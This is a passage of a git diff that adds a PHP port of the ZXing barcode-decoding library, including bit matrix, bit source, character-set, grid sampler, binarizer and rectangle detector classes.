Modifies this {@code BitMatrix} to represent the same but rotated 180 degrees + */ + public function rotate180() + { + $width = $this->getWidth(); + $height = $this->getHeight(); + $topRow = new BitArray($width); + $bottomRow = new BitArray($width); + for ($i = 0; $i < ($height + 1) / 2; $i++) { + $topRow = $this->getRow($i, $topRow); + $bottomRow = $this->getRow($height - 1 - $i, $bottomRow); + $topRow->reverse(); + $bottomRow->reverse(); + $this->setRow($i, $bottomRow); + $this->setRow($height - 1 - $i, $topRow); + } + } + + /** + * @return The width of the matrix + */ + public function getWidth() + { + return $this->width; + } + + /** + * A fast method to retrieve one row of data from the matrix as a BitArray. + * + * @param $y ; The row to retrieve + * @param $row ; An optional caller-allocated BitArray, will be allocated if null or too small + * + * @return The resulting BitArray - this reference should always be used even when passing + * your own row + */ + public function getRow($y, $row) + { + if ($row == null || $row->getSize() < $this->width) { + $row = new BitArray($this->width); + } else { + $row->clear(); + } + $offset = $y * $this->rowSize; + for ($x = 0; $x < $this->rowSize; $x++) { + $row->setBulk($x * 32, $this->bits[$offset + $x]); + } + + return $row; + } + + /** + * @param $y ; row to set + * @param $row ; {@link BitArray} to copy from + */ + public function setRow($y, $row) + { + $this->bits = arraycopy($row->getBitArray(), 0, $this->bits, $y * $this->rowSize, $this->rowSize); + } + + /** + * This is useful in detecting the enclosing rectangle of a 'pure' barcode. + * + * @return {@code left,top,width,height} enclosing rectangle of all 1 bits, or null if it is all white + */ + public function getEnclosingRectangle() + { + $left = $this->width; + $top = $this->height; + $right = -1; + $bottom = -1; + + for ($y = 0; $y < $this->height; $y++) { + for ($x32 = 0; $x32 < $this->rowSize; $x32++) { + $theBits = $this->bits[$y * $this->rowSize + $x32]; + if ($theBits != 0) { + if ($y < $top) { + $top = $y; + } + if ($y > $bottom) { + $bottom = $y; + } + if ($x32 * 32 < $left) { + $bit = 0; + while (($theBits << (31 - $bit)) == 0) { + $bit++; + } + if (($x32 * 32 + $bit) < $left) { + $left = $x32 * 32 + $bit; + } + } + if ($x32 * 32 + 31 > $right) { + $bit = 31; + while ((sdvig3($theBits, $bit)) == 0) {//>>> + $bit--; + } + if (($x32 * 32 + $bit) > $right) { + $right = $x32 * 32 + $bit; + } + } + } + } + } + + $width = $right - $left; + $height = $bottom - $top; + + if ($width < 0 || $height < 0) { + return null; + } + + return [$left, $top, $width, $height]; + } + + /** + * This is useful in detecting a corner of a 'pure' barcode. + * + * @return {@code x,y} coordinate of top-left-most 1 bit, or null if it is all white + */ + public function getTopLeftOnBit() + { + $bitsOffset = 0; + while ($bitsOffset < count($this->bits) && $this->bits[$bitsOffset] == 0) { + $bitsOffset++; + } + if ($bitsOffset == count($this->bits)) { + return null; + } + $y = $bitsOffset / $this->rowSize; + $x = ($bitsOffset % $this->rowSize) * 32; + + $theBits = $this->bits[$bitsOffset]; + $bit = 0; + while (($theBits << (31 - $bit)) == 0) { + $bit++; + } + $x += $bit; + + return [$x, $y]; + } + + public function getBottomRightOnBit() + { + $bitsOffset = count($this->bits) - 1; + while ($bitsOffset >= 0 && $this->bits[$bitsOffset] == 0) { + $bitsOffset--; + } + if ($bitsOffset < 0) { + return null; + } + + $y = $bitsOffset / $this->rowSize; + $x = ($bitsOffset % $this->rowSize) * 32; + + $theBits = $this->bits[$bitsOffset]; + $bit = 31; + while ((sdvig3($theBits, $bit)) == 0) {//>>> + $bit--; + } + $x += $bit; + + return [$x, $y]; + } + + /** + * @return The height of the matrix + */ + public function getHeight() + { + return $this->height; + } + + /** + * @return The row size of the matrix + */ + public function getRowSize() + { + return $this->rowSize; + } + + public function equals($o) + { + if (!($o instanceof BitMatrix)) { + return false; + } + $other = $o; + + return $this->width == $other->width + && $this->height == $other->height + && $this->rowSize == $other->rowSize + && $this->bits === $other->bits; + } + + //@Override + + public function hashCode() + { + $hash = $this->width; + $hash = 31 * $hash + $this->width; + $hash = 31 * $hash + $this->height; + $hash = 31 * $hash + $this->rowSize; + $hash = 31 * $hash + hashCode($this->bits); + + return $hash; + } + + //@Override + + public function toString($setString = '', $unsetString = '', $lineSeparator = '') + { + if (!$setString || !$unsetString) { + return (string)'X ' . ' '; + } + if ($lineSeparator && $lineSeparator !== "\n") { + return $this->toString_($setString, $unsetString, $lineSeparator); + } + + return (string)($setString . $unsetString . "\n"); + } + + public function toString_($setString, $unsetString, $lineSeparator) + { + //$result = new StringBuilder(height * (width + 1)); + $result = ''; + for ($y = 0; $y < $this->height; $y++) { + for ($x = 0; $x < $this->width; $x++) { + $result .= ($this->get($x, $y) ? $setString : $unsetString); + } + $result .= ($lineSeparator); + } + + return (string)$result; + } + + /** + * @deprecated call {@link #toString(String,String)} only, which uses \n line separator always + */ + // @Deprecated + /** + *

    Gets the requested bit, where true means black.

    + * + * @param $x ; The horizontal component (i.e. which column) + * @param $y ; The vertical component (i.e. which row) + * + * @return value of given bit in matrix + */ + public function get($x, $y) + { + + $offset = (int)($y * $this->rowSize + ($x / 32)); + if (!isset($this->bits[$offset])) { + $this->bits[$offset] = 0; + } + + // return (($this->bits[$offset] >> ($x & 0x1f)) & 1) != 0; + return (uRShift($this->bits[$offset], ($x & 0x1f)) & 1) != 0;//было >>> вместо >>, не знаю как эмулировать беззнаковый сдвиг + } + +// @Override + + public function _clone() + { + return new BitMatrix($this->width, $this->height, $this->rowSize, $this->bits); + } +} diff --git a/includes/qrcodedecoder/Zxing/Common/BitSource.php b/includes/qrcodedecoder/Zxing/Common/BitSource.php new file mode 100644 index 0000000..d18d164 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Common/BitSource.php @@ -0,0 +1,118 @@ +This provides an easy abstraction to read bits at a time from a sequence of bytes, where the + * number of bits read is not often a multiple of 8.

    + * + *

    This class is thread-safe but not reentrant -- unless the caller modifies the bytes array + * it passed in, in which case all bets are off.

    + * + * @author Sean Owen + */ +final class BitSource +{ + + private $bytes; + private $byteOffset = 0; + private $bitOffset = 0; + + /** + * @param bytes bytes from which this will read bits. Bits will be read from the first byte first. + * Bits are read within a byte from most-significant to least-significant bit. + */ + public function __construct($bytes) + { + $this->bytes = $bytes; + } + + /** + * @return index of next bit in current byte which would be read by the next call to {@link #readBits(int)}. + */ + public function getBitOffset() + { + return $this->bitOffset; + } + + /** + * @return index of next byte in input byte array which would be read by the next call to {@link #readBits(int)}. + */ + public function getByteOffset() + { + return $this->byteOffset; + } + + /** + * @param numBits number of bits to read + * + * @return int representing the bits read. The bits will appear as the least-significant + * bits of the int + * @throws InvalidArgumentException if numBits isn't in [1,32] or more than is available + */ + public function readBits($numBits) + { + if ($numBits < 1 || $numBits > 32 || $numBits > $this->available()) { + throw new \InvalidArgumentException(strval($numBits)); + } + + $result = 0; + + // First, read remainder from current byte + if ($this->bitOffset > 0) { + $bitsLeft = 8 - $this->bitOffset; + $toRead = $numBits < $bitsLeft ? $numBits : $bitsLeft; + $bitsToNotRead = $bitsLeft - $toRead; + $mask = (0xFF >> (8 - $toRead)) << $bitsToNotRead; + $result = ($this->bytes[$this->byteOffset] & $mask) >> $bitsToNotRead; + $numBits -= $toRead; + $this->bitOffset += $toRead; + if ($this->bitOffset == 8) { + $this->bitOffset = 0; + $this->byteOffset++; + } + } + + // Next read whole bytes + if ($numBits > 0) { + while ($numBits >= 8) { + $result = ($result << 8) | ($this->bytes[$this->byteOffset] & 0xFF); + $this->byteOffset++; + $numBits -= 8; + } + + // Finally read a partial byte + if ($numBits > 0) { + $bitsToNotRead = 8 - $numBits; + $mask = (0xFF >> $bitsToNotRead) << $bitsToNotRead; + $result = ($result << $numBits) | (($this->bytes[$this->byteOffset] & $mask) >> $bitsToNotRead); + $this->bitOffset += $numBits; + } + } + + return $result; + } + + /** + * @return number of bits that can be read successfully + */ + public function available() + { + return 8 * (count($this->bytes) - $this->byteOffset) - $this->bitOffset; + } +} diff --git a/includes/qrcodedecoder/Zxing/Common/CharacterSetECI.php b/includes/qrcodedecoder/Zxing/Common/CharacterSetECI.php new file mode 100644 index 0000000..086d593 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Common/CharacterSetECI.php @@ -0,0 +1,158 @@ + self::ISO8859_1, + 'ISO-8859-2' => self::ISO8859_2, + 'ISO-8859-3' => self::ISO8859_3, + 'ISO-8859-4' => self::ISO8859_4, + 'ISO-8859-5' => self::ISO8859_5, + 'ISO-8859-6' => self::ISO8859_6, + 'ISO-8859-7' => self::ISO8859_7, + 'ISO-8859-8' => self::ISO8859_8, + 'ISO-8859-9' => self::ISO8859_9, + 'ISO-8859-10' => self::ISO8859_10, + 'ISO-8859-11' => self::ISO8859_11, + 'ISO-8859-12' => self::ISO8859_12, + 'ISO-8859-13' => self::ISO8859_13, + 'ISO-8859-14' => self::ISO8859_14, + 'ISO-8859-15' => self::ISO8859_15, + 'ISO-8859-16' => self::ISO8859_16, + 'SHIFT-JIS' => self::SJIS, + 'WINDOWS-1250' => self::CP1250, + 'WINDOWS-1251' => self::CP1251, + 'WINDOWS-1252' => self::CP1252, + 'WINDOWS-1256' => self::CP1256, + 'UTF-16BE' => self::UNICODE_BIG_UNMARKED, + 'UTF-8' => self::UTF8, + 'ASCII' => self::ASCII, + 'GBK' => self::GB18030, + 'EUC-KR' => self::EUC_KR, + ]; + /**#@-*/ + /** + * Additional possible values for character sets. + * + * @var array + */ + protected static $additionalValues = [ + self::CP437 => 2, + self::ASCII => 170, + ]; + private static $name = null; + + /** + * Gets character set ECI by value. + * + * @param string $name + * + * @return CharacterSetEci|null + */ + public static function getCharacterSetECIByValue($value) + { + if ($value < 0 || $value >= 900) { + throw new \InvalidArgumentException('Value must be between 0 and 900'); + } + if (false !== ($key = array_search($value, self::$additionalValues))) { + $value = $key; + } + array_search($value, self::$nameToEci); + try { + self::setName($value); + + return new self($value); + } catch (\UnexpectedValueException $e) { + return null; + } + } + + private static function setName($value) + { + foreach (self::$nameToEci as $name => $key) { + if ($key == $value) { + self::$name = $name; + + return true; + } + } + if (self::$name == null) { + foreach (self::$additionalValues as $name => $key) { + if ($key == $value) { + self::$name = $name; + + return true; + } + } + } + } + + /** + * Gets character set ECI name. + * + * @return character set ECI name|null + */ + public static function name() + { + return self::$name; + } + + /** + * Gets character set ECI by name. + * + * @param string $name + * + * @return CharacterSetEci|null + */ + public static function getCharacterSetECIByName($name) + { + $name = strtoupper($name); + if (isset(self::$nameToEci[$name])) { + return new self(self::$nameToEci[$name]); + } + + return null; + } +} diff --git a/includes/qrcodedecoder/Zxing/Common/DecoderResult.php b/includes/qrcodedecoder/Zxing/Common/DecoderResult.php new file mode 100644 index 0000000..22aee04 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Common/DecoderResult.php @@ -0,0 +1,122 @@ +Encapsulates the result of decoding a matrix of bits. This typically + * applies to 2D barcode formats. For now it contains the raw bytes obtained, + * as well as a String interpretation of those bytes, if applicable.

    + * + * @author Sean Owen + */ +final class DecoderResult +{ + + private $rawBytes; + private $text; + private $byteSegments; + private $ecLevel; + private $errorsCorrected; + private $erasures; + private $other; + private $structuredAppendParity; + private $structuredAppendSequenceNumber; + + + public function __construct( + $rawBytes, + $text, + $byteSegments, + $ecLevel, + $saSequence = -1, + $saParity = -1 + ) { + $this->rawBytes = $rawBytes; + $this->text = $text; + $this->byteSegments = $byteSegments; + $this->ecLevel = $ecLevel; + $this->structuredAppendParity = $saParity; + $this->structuredAppendSequenceNumber = $saSequence; + } + + public function getRawBytes() + { + return $this->rawBytes; + } + + public function getText() + { + return $this->text; + } + + public function getByteSegments() + { + return $this->byteSegments; + } + + public function getECLevel() + { + return $this->ecLevel; + } + + public function getErrorsCorrected() + { + return $this->errorsCorrected; + } + + public function setErrorsCorrected($errorsCorrected) + { + $this->errorsCorrected = $errorsCorrected; + } + + public function getErasures() + { + return $this->erasures; + } + + public function setErasures($erasures) + { + $this->erasures = $erasures; + } + + public function getOther() + { + return $this->other; + } + + public function setOther($other) + { + $this->other = $other; + } + + public function hasStructuredAppend() + { + return $this->structuredAppendParity >= 0 && $this->structuredAppendSequenceNumber >= 0; + } + + public function getStructuredAppendParity() + { + return $this->structuredAppendParity; + } + + public function getStructuredAppendSequenceNumber() + { + return $this->structuredAppendSequenceNumber; + } + +} diff --git a/includes/qrcodedecoder/Zxing/Common/DefaultGridSampler.php b/includes/qrcodedecoder/Zxing/Common/DefaultGridSampler.php new file mode 100644 index 0000000..d2326d3 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Common/DefaultGridSampler.php @@ -0,0 +1,93 @@ +sampleGrid_($image, $dimensionX, $dimensionY, $transform); + } + +//@Override + public function sampleGrid_( + $image, + $dimensionX, + $dimensionY, + $transform + ) { + if ($dimensionX <= 0 || $dimensionY <= 0) { + throw NotFoundException::getNotFoundInstance(); + } + $bits = new BitMatrix($dimensionX, $dimensionY); + $points = fill_array(0, 2 * $dimensionX, 0.0); + for ($y = 0; $y < $dimensionY; $y++) { + $max = count($points); + $iValue = (float)$y + 0.5; + for ($x = 0; $x < $max; $x += 2) { + $points[$x] = (float)($x / 2) + 0.5; + $points[$x + 1] = $iValue; + } + $transform->transformPoints($points); +// Quick check to see if points transformed to something inside the image; +// sufficient to check the endpoints + $this->checkAndNudgePoints($image, $points); + try { + for ($x = 0; $x < $max; $x += 2) { + if ($image->get((int)$points[$x], (int)$points[$x + 1])) { +// Black(-ish) pixel + $bits->set($x / 2, $y); + } + } + } catch (\Exception $aioobe) {//ArrayIndexOutOfBoundsException +// This feels wrong, but, sometimes if the finder patterns are misidentified, the resulting +// transform gets "twisted" such that it maps a straight line of points to a set of points +// whose endpoints are in bounds, but others are not. There is probably some mathematical +// way to detect this about the transformation that I don't know yet. +// This results in an ugly runtime exception despite our clever checks above -- can't have +// that. We could check each point's coordinates but that feels duplicative. We settle for +// catching and wrapping ArrayIndexOutOfBoundsException. + throw NotFoundException::getNotFoundInstance(); + } + } + + return $bits; + } +} diff --git a/includes/qrcodedecoder/Zxing/Common/Detector/MathUtils.php b/includes/qrcodedecoder/Zxing/Common/Detector/MathUtils.php new file mode 100644 index 0000000..e88cfc8 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Common/Detector/MathUtils.php @@ -0,0 +1,49 @@ +A somewhat generic detector that looks for a barcode-like rectangular region within an image. + * It looks within a mostly white region of an image for a region of black and white, but mostly + * black. It returns the four corners of the region, as best it can determine.

    + * + * @author Sean Owen + * @port Ashot Khanamiryan + */ +class MonochromeRectangleDetector +{ + private static $MAX_MODULES = 32; + private $image; + + public function __construct(BinaryBitmap $image) + { + $this->image = $image; + + } + + /** + *

    Detects a rectangular region of black and white -- mostly black -- with a region of mostly + * white, in an image.

    + * + * @return {@link ResultPoint}[] describing the corners of the rectangular region. The first and + * last points are opposed on the diagonal, as are the second and third. The first point will be + * the topmost point and the last, the bottommost. The second point will be leftmost and the + * third, the rightmost + * @throws NotFoundException if no Data Matrix Code can be found + */ + public function detect() + { + + $height = $this->image->getHeight(); + $width = $this->image->getWidth(); + $halfHeight = $height / 2; + $halfWidth = $width / 2; + + $deltaY = max(1, $height / (self::$MAX_MODULES * 8)); + $deltaX = max(1, $width / (self::$MAX_MODULES * 8)); + + + $top = 0; + $bottom = $height; + $left = 0; + $right = $width; + $pointA = $this->findCornerFromCenter($halfWidth, 0, $left, $right, + $halfHeight, -$deltaY, $top, $bottom, $halfWidth / 2); + $top = (int)$pointA->getY() - 1; + $pointB = $this->findCornerFromCenter($halfWidth, -$deltaX, $left, $right, + $halfHeight, 0, $top, $bottom, $halfHeight / 2); + $left = (int)$pointB->getX() - 1; + $pointC = $this->findCornerFromCenter($halfWidth, $deltaX, $left, $right, + $halfHeight, 0, $top, $bottom, $halfHeight / 2); + $right = (int)$pointC->getX() + 1; + $pointD = $this->findCornerFromCenter($halfWidth, 0, $left, $right, + $halfHeight, $deltaY, $top, $bottom, $halfWidth / 2); + $bottom = (int)$pointD->getY() + 1; + + // Go try to find po$A again with better information -- might have been off at first. + $pointA = $this->findCornerFromCenter($halfWidth, 0, $left, $right, + $halfHeight, -$deltaY, $top, $bottom, $halfWidth / 4); + + return new ResultPoint($pointA, $pointB, $pointC, $pointD); + + } + + + /** + * Attempts to locate a corner of the barcode by scanning up, down, left or right from a center + * point which should be within the barcode. + * + * @param float $centerX center's x component (horizontal) + * @param float $deltaX same as deltaY but change in x per step instead + * @param float $left minimum value of x + * @param float $right maximum value of x + * @param float $centerY center's y component (vertical) + * @param float $deltaY change in y per step. If scanning up this is negative; down, positive; + * left or right, 0 + * @param float $top minimum value of y to search through (meaningless when di == 0) + * @param float $bottom maximum value of y + * @param float $maxWhiteRun maximum run of white pixels that can still be considered to be within + * the barcode + * + * @return ResultPoint $a {@link com.google.zxing.ResultPoint} encapsulating the corner that was found + * @throws NotFoundException if such a point cannot be found + */ + private function findCornerFromCenter($centerX, + $deltaX, + $left, + $right, + $centerY, + $deltaY, + $top, + $bottom, + $maxWhiteRun) + { + $lastRange = null; + for ($y = $centerY, $x = $centerX; + $y < $bottom && $y >= $top && $x < $right && $x >= $left; + $y += $deltaY, $x += $deltaX) { + $range = 0; + if ($deltaX == 0) { + // horizontal slices, up and down + $range = $this->blackWhiteRange($y, $maxWhiteRun, $left, $right, true); + } else { + // vertical slices, left and right + $range = $this->blackWhiteRange($x, $maxWhiteRun, $top, $bottom, false); + } + if ($range == null) { + if ($lastRange == null) { + throw NotFoundException::getNotFoundInstance(); + } + // lastRange was found + if ($deltaX == 0) { + $lastY = $y - $deltaY; + if ($lastRange[0] < $centerX) { + if ($lastRange[1] > $centerX) { + // straddle, choose one or the other based on direction + return new ResultPoint($deltaY > 0 ? $lastRange[0] : $lastRange[1], $lastY); + } + + return new ResultPoint($lastRange[0], $lastY); + } else { + return new ResultPoint($lastRange[1], $lastY); + } + } else { + $lastX = $x - $deltaX; + if ($lastRange[0] < $centerY) { + if ($lastRange[1] > $centerY) { + return new ResultPoint($lastX, $deltaX < 0 ? $lastRange[0] : $lastRange[1]); + } + + return new ResultPoint($lastX, $lastRange[0]); + } else { + return new ResultPoint($lastX, $lastRange[1]); + } + } + } + $lastRange = $range; + } + throw NotFoundException::getNotFoundInstance(); + } + + + /** + * Computes the start and end of a region of pixels, either horizontally or vertically, that could + * be part of a Data Matrix barcode. + * + * @param fixedDimension if scanning horizontally, this is the row (the fixed vertical location) + * where we are scanning. If scanning vertically it's the column, the fixed horizontal location + * @param maxWhiteRun largest run of white pixels that can still be considered part of the + * barcode region + * @param minDim minimum pixel location, horizontally or vertically, to consider + * @param maxDim maximum pixel location, horizontally or vertically, to consider + * @param horizontal if true, we're scanning left-right, instead of up-down + * + * @return int[] with start and end of found range, or null if no such range is found + * (e.g. only white was found) + */ + + private function blackWhiteRange($fixedDimension, $maxWhiteRun, $minDim, $maxDim, $horizontal) + { + $center = ($minDim + $maxDim) / 2; + + // Scan left/up first + $start = $center; + while ($start >= $minDim) { + if ($horizontal ? $this->image->get($start, $fixedDimension) : $this->image->get($fixedDimension, $start)) { + $start--; + } else { + $whiteRunStart = $start; + do { + $start--; + } while ($start >= $minDim && !($horizontal ? $this->image->get($start, $fixedDimension) : + $this->image->get($fixedDimension, $start))); + $whiteRunSize = $whiteRunStart - $start; + if ($start < $minDim || $whiteRunSize > $maxWhiteRun) { + $start = $whiteRunStart; + break; + } + } + } + $start++; + + // Then try right/down + $end = $center; + while ($end < $maxDim) { + if ($horizontal ? $this->image->get($end, $fixedDimension) : $this->image->get($fixedDimension, $end)) { + $end++; + } else { + $whiteRunStart = $end; + do { + $end++; + } while ($end < $maxDim && !($horizontal ? $this->image->get($end, $fixedDimension) : + $this->image->get($fixedDimension, $end))); + $whiteRunSize = $end - $whiteRunStart; + if ($end >= $maxDim || $whiteRunSize > $maxWhiteRun) { + $end = $whiteRunStart; + break; + } + } + } + $end--; + + return $end > $start ? [$start, $end] : null; + } +} \ No newline at end of file diff --git a/includes/qrcodedecoder/Zxing/Common/DetectorResult.php b/includes/qrcodedecoder/Zxing/Common/DetectorResult.php new file mode 100644 index 0000000..d2e9bc8 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Common/DetectorResult.php @@ -0,0 +1,47 @@ +Encapsulates the result of detecting a barcode in an image. This includes the raw + * matrix of black/white pixels corresponding to the barcode, and possibly points of interest + * in the image, like the location of finder patterns or corners of the barcode in the image.

    + * + * @author Sean Owen + */ +class DetectorResult +{ + private $bits; + private $points; + + public function __construct($bits, $points) + { + $this->bits = $bits; + $this->points = $points; + } + + public final function getBits() + { + return $this->bits; + } + + public final function getPoints() + { + return $this->points; + } +} diff --git a/includes/qrcodedecoder/Zxing/Common/GlobalHistogramBinarizer.php b/includes/qrcodedecoder/Zxing/Common/GlobalHistogramBinarizer.php new file mode 100644 index 0000000..267c3f0 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Common/GlobalHistogramBinarizer.php @@ -0,0 +1,207 @@ +luminances = self::$EMPTY; + $this->buckets = fill_array(0, self::$LUMINANCE_BUCKETS, 0); + $this->source = $source; + } + + // Applies simple sharpening to the row data to improve performance of the 1D Readers. + public function getBlackRow($y, $row = null) + { + $this->source = $this->getLuminanceSource(); + $width = $this->source->getWidth(); + if ($row == null || $row->getSize() < $width) { + $row = new BitArray($width); + } else { + $row->clear(); + } + + $this->initArrays($width); + $localLuminances = $this->source->getRow($y, $this->luminances); + $localBuckets = $this->buckets; + for ($x = 0; $x < $width; $x++) { + $pixel = $localLuminances[$x] & 0xff; + $localBuckets[$pixel >> self::$LUMINANCE_SHIFT]++; + } + $blackPoint = self::estimateBlackPoint($localBuckets); + + $left = $localLuminances[0] & 0xff; + $center = $localLuminances[1] & 0xff; + for ($x = 1; $x < $width - 1; $x++) { + $right = $localLuminances[$x + 1] & 0xff; + // A simple -1 4 -1 box filter with a weight of 2. + $luminance = (($center * 4) - $left - $right) / 2; + if ($luminance < $blackPoint) { + $row->set($x); + } + $left = $center; + $center = $right; + } + + return $row; + } + + // Does not sharpen the data, as this call is intended to only be used by 2D Readers. + private function initArrays($luminanceSize) + { + if (count($this->luminances) < $luminanceSize) { + $this->luminances = []; + } + for ($x = 0; $x < self::$LUMINANCE_BUCKETS; $x++) { + $this->buckets[$x] = 0; + } + } + + private static function estimateBlackPoint($buckets) + { + // Find the tallest peak in the histogram. + $numBuckets = count($buckets); + $maxBucketCount = 0; + $firstPeak = 0; + $firstPeakSize = 0; + for ($x = 0; $x < $numBuckets; $x++) { + if ($buckets[$x] > $firstPeakSize) { + $firstPeak = $x; + $firstPeakSize = $buckets[$x]; + } + if ($buckets[$x] > $maxBucketCount) { + $maxBucketCount = $buckets[$x]; + } + } + + // Find the second-tallest peak which is somewhat far from the tallest peak. + $secondPeak = 0; + $secondPeakScore = 0; + for ($x = 0; $x < $numBuckets; $x++) { + $distanceToBiggest = $x - $firstPeak; + // Encourage more distant second peaks by multiplying by square of distance. + $score = $buckets[$x] * $distanceToBiggest * $distanceToBiggest; + if ($score > $secondPeakScore) { + $secondPeak = $x; + $secondPeakScore = $score; + } + } + + // Make sure firstPeak corresponds to the black peak. + if ($firstPeak > $secondPeak) { + $temp = $firstPeak; + $firstPeak = $secondPeak; + $secondPeak = $temp; + } + + // If there is too little contrast in the image to pick a meaningful black point, throw rather + // than waste time trying to decode the image, and risk false positives. + if ($secondPeak - $firstPeak <= $numBuckets / 16) { + throw NotFoundException::getNotFoundInstance(); + } + + // Find a valley between them that is low and closer to the white peak. + $bestValley = $secondPeak - 1; + $bestValleyScore = -1; + for ($x = $secondPeak - 1; $x > $firstPeak; $x--) { + $fromFirst = $x - $firstPeak; + $score = $fromFirst * $fromFirst * ($secondPeak - $x) * ($maxBucketCount - $buckets[$x]); + if ($score > $bestValleyScore) { + $bestValley = $x; + $bestValleyScore = $score; + } + } + + return ($bestValley << self::$LUMINANCE_SHIFT); + } + + public function getBlackMatrix() + { + $source = $this->getLuminanceSource(); + $width = $source->getWidth(); + $height = $source->getHeight(); + $matrix = new BitMatrix($width, $height); + + // Quickly calculates the histogram by sampling four rows from the image. This proved to be + // more robust on the blackbox tests than sampling a diagonal as we used to do. + $this->initArrays($width); + $localBuckets = $this->buckets; + for ($y = 1; $y < 5; $y++) { + $row = (int)($height * $y / 5); + $localLuminances = $source->getRow($row, $this->luminances); + $right = (int)(($width * 4) / 5); + for ($x = (int)($width / 5); $x < $right; $x++) { + $pixel = ($localLuminances[(int)($x)] & 0xff); + $localBuckets[($pixel >> self::$LUMINANCE_SHIFT)]++; + } + } + $blackPoint = self::estimateBlackPoint($localBuckets); + + // We delay reading the entire image luminance until the black point estimation succeeds. + // Although we end up reading four rows twice, it is consistent with our motto of + // "fail quickly" which is necessary for continuous scanning. + $localLuminances = $source->getMatrix(); + for ($y = 0; $y < $height; $y++) { + $offset = $y * $width; + for ($x = 0; $x < $width; $x++) { + $pixel = (int)($localLuminances[$offset + $x] & 0xff); + if ($pixel < $blackPoint) { + $matrix->set($x, $y); + } + } + } + + return $matrix; + } + + public function createBinarizer($source) + { + return new GlobalHistogramBinarizer($source); + } +} diff --git a/includes/qrcodedecoder/Zxing/Common/GridSampler.php b/includes/qrcodedecoder/Zxing/Common/GridSampler.php new file mode 100644 index 0000000..affea31 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Common/GridSampler.php @@ -0,0 +1,188 @@ +Checks a set of points that have been transformed to sample points on an image against + * the image's dimensions to see if the point are even within the image.

    + * + *

    This method will actually "nudge" the endpoints back onto the image if they are found to be + * barely (less than 1 pixel) off the image. This accounts for imperfect detection of finder + * patterns in an image where the QR Code runs all the way to the image border.

    + * + *

    For efficiency, the method will check points from either end of the line until one is found + * to be within the image. Because the set of points are assumed to be linear, this is valid.

    + * + * @param image image into which the points should map + * @param points actual points in x1,y1,...,xn,yn form + * + * @throws NotFoundException if an endpoint is lies outside the image boundaries + */ + protected static function checkAndNudgePoints( + $image, + $points + ) { + $width = $image->getWidth(); + $height = $image->getHeight(); +// Check and nudge points from start until we see some that are OK: + $nudged = true; + for ($offset = 0; $offset < count($points) && $nudged; $offset += 2) { + $x = (int)$points[$offset]; + $y = (int)$points[$offset + 1]; + if ($x < -1 || $x > $width || $y < -1 || $y > $height) { + throw NotFoundException::getNotFoundInstance(); + } + $nudged = false; + if ($x == -1) { + $points[$offset] = 0.0; + $nudged = true; + } else if ($x == $width) { + $points[$offset] = $width - 1; + $nudged = true; + } + if ($y == -1) { + $points[$offset + 1] = 0.0; + $nudged = true; + } else if ($y == $height) { + $points[$offset + 1] = $height - 1; + $nudged = true; + } + } +// Check and nudge points from end: + $nudged = true; + for ($offset = count($points) - 2; $offset >= 0 && $nudged; $offset -= 2) { + $x = (int)$points[$offset]; + $y = (int)$points[$offset + 1]; + if ($x < -1 || $x > $width || $y < -1 || $y > $height) { + throw NotFoundException::getNotFoundInstance(); + } + $nudged = false; + if ($x == -1) { + $points[$offset] = 0.0; + $nudged = true; + } else if ($x == $width) { + $points[$offset] = $width - 1; + $nudged = true; + } + if ($y == -1) { + $points[$offset + 1] = 0.0; + $nudged = true; + } else if ($y == $height) { + $points[$offset + 1] = $height - 1; + $nudged = true; + } + } + } + + /** + * Samples an image for a rectangular matrix of bits of the given dimension. The sampling + * transformation is determined by the coordinates of 4 points, in the original and transformed + * image space. + * + * @param image image to sample + * @param dimensionX width of {@link BitMatrix} to sample from image + * @param dimensionY height of {@link BitMatrix} to sample from image + * @param p1ToX point 1 preimage X + * @param p1ToY point 1 preimage Y + * @param p2ToX point 2 preimage X + * @param p2ToY point 2 preimage Y + * @param p3ToX point 3 preimage X + * @param p3ToY point 3 preimage Y + * @param p4ToX point 4 preimage X + * @param p4ToY point 4 preimage Y + * @param p1FromX point 1 image X + * @param p1FromY point 1 image Y + * @param p2FromX point 2 image X + * @param p2FromY point 2 image Y + * @param p3FromX point 3 image X + * @param p3FromY point 3 image Y + * @param p4FromX point 4 image X + * @param p4FromY point 4 image Y + * + * @return {@link BitMatrix} representing a grid of points sampled from the image within a region + * defined by the "from" parameters + * @throws NotFoundException if image can't be sampled, for example, if the transformation defined + * by the given points is invalid or results in sampling outside the image boundaries + */ + public abstract function sampleGrid( + $image, + $dimensionX, + $dimensionY, + $p1ToX, $p1ToY, + $p2ToX, $p2ToY, + $p3ToX, $p3ToY, + $p4ToX, $p4ToY, + $p1FromX, $p1FromY, + $p2FromX, $p2FromY, + $p3FromX, $p3FromY, + $p4FromX, $p4FromY + ); + + public abstract function sampleGrid_( + $image, + $dimensionX, + $dimensionY, + $transform + ); + +} diff --git a/includes/qrcodedecoder/Zxing/Common/HybridBinarizer.php b/includes/qrcodedecoder/Zxing/Common/HybridBinarizer.php new file mode 100644 index 0000000..c71cc1b --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Common/HybridBinarizer.php @@ -0,0 +1,264 @@ +matrix !== null) { + return $this->matrix; + } + $source = $this->getLuminanceSource(); + $width = $source->getWidth(); + $height = $source->getHeight(); + if ($width >= self::$MINIMUM_DIMENSION && $height >= self::$MINIMUM_DIMENSION) { + $luminances = $source->getMatrix(); + $subWidth = $width >> self::$BLOCK_SIZE_POWER; + if (($width & self::$BLOCK_SIZE_MASK) != 0) { + $subWidth++; + } + $subHeight = $height >> self::$BLOCK_SIZE_POWER; + if (($height & self::$BLOCK_SIZE_MASK) != 0) { + $subHeight++; + } + $blackPoints = self::calculateBlackPoints($luminances, $subWidth, $subHeight, $width, $height); + + $newMatrix = new BitMatrix($width, $height); + self::calculateThresholdForBlock($luminances, $subWidth, $subHeight, $width, $height, $blackPoints, $newMatrix); + $this->matrix = $newMatrix; + } else { + // If the image is too small, fall back to the global histogram approach. + $this->matrix = parent::getBlackMatrix(); + } + + return $this->matrix; + } + + /** + * Calculates a single black point for each block of pixels and saves it away. + * See the following thread for a discussion of this algorithm: + * http://groups.google.com/group/zxing/browse_thread/thread/d06efa2c35a7ddc0 + 